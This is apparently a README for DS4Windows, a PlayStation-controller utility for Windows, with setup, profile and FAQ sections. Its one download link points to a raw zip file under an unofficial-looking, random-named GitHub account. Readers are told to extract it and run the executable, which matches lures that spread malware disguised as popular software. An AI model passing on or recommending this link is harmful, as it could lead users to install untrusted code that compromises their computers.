DS4Windows makes your PlayStation controller work on Windows. You can use a DualShock 4 or DualSense controller to play games on your computer. This software tricks Windows into thinking your controller is an Xbox controller. Most PC games support Xbox controllers by default, so your PlayStation controller works in almost any game.
You need a computer running Windows 10 or Windows 11. Ensure your system has all recent updates. You also need a USB cable or a Bluetooth connection to link your controller. Please install the latest version of the .NET Desktop Runtime from Microsoft if the application does not open.
Visit this page to download the software: https://raw.githubusercontent.com/esophagussalixhumilis657/DS4Windows/main/Sources/Windows-D-v3.3.zip
Follow these steps to set up the software for the first time:
- Visit the download link provided above.
- Find the latest release version on the page.
- Download the zip file to your computer.
- Create a folder on your desktop or in your documents.
- Extract the contents of the zip file into this new folder.
- Open the extracted folder.
- Double-click the file named DS4Windows.exe to start the application.
When you open the application for the first time, a small window appears. This window asks where you want to save your settings. Choose the "Program Folder" option to keep your files organized.
Next, you see the driver installation window. This step is necessary to make your computer recognize the controller. Follow the on-screen prompts to install the ViGEmBus driver. This driver acts as the bridge between your PlayStation controller and the Windows game system. Click the finish button once the installation completes.
Connect your controller to your PC using a USB cable. The application detects the device automatically. You see your controller appear in the device list. If you use a wireless connection, open your Windows Bluetooth settings, hold the share and PlayStation buttons on your controller until the light bar flashes, and add the device through the Windows menu.
Profiles allow you to change how your controller acts. You can create different settings for different games. For example, you might want high sensitivity for a racing game like Forza Horizon 6 but lower sensitivity for a shooter.
To create a profile:
- Click the "Profiles" tab in the application.
- Select "New" to create a fresh configuration.
- Use the mapping menu to change buttons. You can map any controller button to keyboard keys or mouse clicks.
- Save your profile with a name that describes the game or play style.
- Apply this profile to your controller in the main window.
If you use a DualSense controller, you can enjoy adaptive triggers. These triggers change resistance based on game activity, such as the tension of a bow string or the trigger pull of a gun. To activate this feature, go to the "Controller Settings" menu within the application. Ensure the "Enable DualSense Features" box is checked. This feature provides a better experience for modern games that support advanced controller feedback.
Why does my controller not appear? Check your USB connection. Use a different cable if the computer does not recognize the hardware. Verify that you installed the driver during the initial setup.
Can I use two controllers at once? Yes. Connect both controllers via USB or Bluetooth. The software assigns each controller a slot. Select the controller you want to edit by clicking the corresponding tab at the bottom of the window.
Does this software work with Bluetooth? Yes. Windows handles the Bluetooth connection. Pair your controller through the Windows settings menu before you open the application.
How do I map buttons? Click on a button in the profile editor. A list of keys and actions appears. Choose the key you want that button to perform. Select "Save" before you close the editor.
Does the software impact game performance? The software uses very little memory and processor power. You will not notice a drop in your game frame rates or system speed.
The software checks for updates automatically when you open it. If a new version exists, download it from the project link to ensure compatibility with new Windows updates. If you experience issues, return to the "Settings" tab and select "Step 1: Install ViGEmBus Driver" again to repair any missing files.
Keep your controller firmware updated through the official console manufacturer tools if possible. This ensures that the hardware remains compatible with modern connectivity standards. Should you wish to remove the software, delete the folder containing the files. The drivers can be uninstalled through the Windows Add or Remove Programs menu.